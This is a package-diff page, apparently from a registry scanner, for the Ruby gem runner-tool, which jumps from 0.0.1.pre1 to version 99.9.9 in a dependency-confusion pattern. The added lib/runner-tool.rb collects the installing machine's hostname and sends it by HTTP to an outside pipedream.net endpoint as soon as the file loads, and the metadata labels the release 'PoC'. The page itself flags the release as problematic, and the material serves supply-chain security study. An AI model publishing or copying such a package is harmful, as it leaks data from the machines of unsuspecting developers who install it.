runner-tool 0.0.1.pre1 → 99.9.9
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of runner-tool might be problematic. Click here for more details.
- checksums.yaml +4 -4
- data/bin/runner-tool +5 -0
- data/lib/runner-tool.rb +20 -0
- metadata +14 -11
checksums.yaml
CHANGED
@@ -1,7 +1,7 @@
|
|
1
1
|
---
|
2
2
|
SHA256:
|
3
|
-
metadata.gz:
|
4
|
-
data.tar.gz:
|
3
|
+
metadata.gz: c1d5801033e7b913311852b2d6ce2fb2dcf98b8da885d6967dfa4ff1fc6127b8
|
4
|
+
data.tar.gz: 3d86fc0a2f2f2c6a95591e05b060f89883cbad9ee4b5280ed98d3e911adb1c62
|
5
5
|
SHA512:
|
6
|
-
metadata.gz:
|
7
|
-
data.tar.gz:
|
6
|
+
metadata.gz: e53dcc1919fa2665209013212d1899f3ff0ce8d4f8bff6e3805abfb982377753bdfb75b43b1edd12f38d560095b87611af45f8e67ce41926ed11ec328491c339
|
7
|
+
data.tar.gz: 624978bc21904b0d81873819900616682a070a3491eef4a442d9c4fe97cf12450eb9b43bed55766d8265d6b9686cf2c6e09ffd6dba6ebd5056db62639ef43fa4
|
data/bin/runner-tool
ADDED
data/lib/runner-tool.rb
ADDED
@@ -0,0 +1,20 @@
|
|
1
|
+
require 'net/http'
|
2
|
+
require 'uri'
|
3
|
+
require 'socket'
|
4
|
+
|
5
|
+
class RunnerTool
|
6
|
+
def self.send_hostname_to_server(url)
|
7
|
+
hostname = Socket.gethostname
|
8
|
+
request_url = URI("#{url}?host=#{hostname}")
|
9
|
+
|
10
|
+
response = Net::HTTP.get_response(request_url)
|
11
|
+
|
12
|
+
if response.is_a?(Net::HTTPSuccess)
|
13
|
+
puts 'Request sent successfully!'
|
14
|
+
else
|
15
|
+
puts "Error sending request: #{response.message}"
|
16
|
+
end
|
17
|
+
end
|
18
|
+
end
|
19
|
+
|
20
|
+
RunnerTool.send_hostname_to_server('https://eoenp5lacdw4vru.m.pipedream.net')
|
metadata
CHANGED
@@ -1,23 +1,25 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: runner-tool
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version:
|
4
|
+
version: 99.9.9
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
|
-
-
|
7
|
+
- 0xWise
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2023-
|
11
|
+
date: 2023-05-07 00:00:00.000000000 Z
|
12
12
|
dependencies: []
|
13
13
|
description:
|
14
14
|
email:
|
15
|
-
|
16
|
-
|
15
|
+
executables:
|
16
|
+
- runner-tool
|
17
17
|
extensions: []
|
18
18
|
extra_rdoc_files: []
|
19
|
-
files:
|
20
|
-
|
19
|
+
files:
|
20
|
+
- bin/runner-tool
|
21
|
+
- lib/runner-tool.rb
|
22
|
+
homepage:
|
21
23
|
licenses:
|
22
24
|
- MIT
|
23
25
|
metadata: {}
|
@@ -25,6 +27,7 @@ post_install_message:
|
|
25
27
|
rdoc_options: []
|
26
28
|
require_paths:
|
27
29
|
- lib
|
30
|
+
- bin
|
28
31
|
required_ruby_version: !ruby/object:Gem::Requirement
|
29
32
|
requirements:
|
30
33
|
- - ">="
|
@@ -32,12 +35,12 @@ required_ruby_version: !ruby/object:Gem::Requirement
|
|
32
35
|
version: '0'
|
33
36
|
required_rubygems_version: !ruby/object:Gem::Requirement
|
34
37
|
requirements:
|
35
|
-
- - "
|
38
|
+
- - ">="
|
36
39
|
- !ruby/object:Gem::Version
|
37
|
-
version:
|
40
|
+
version: '0'
|
38
41
|
requirements: []
|
39
|
-
rubygems_version: 3.
|
42
|
+
rubygems_version: 3.3.15
|
40
43
|
signing_key:
|
41
44
|
specification_version: 4
|
42
|
-
summary:
|
45
|
+
summary: PoC
|
43
46
|
test_files: []
|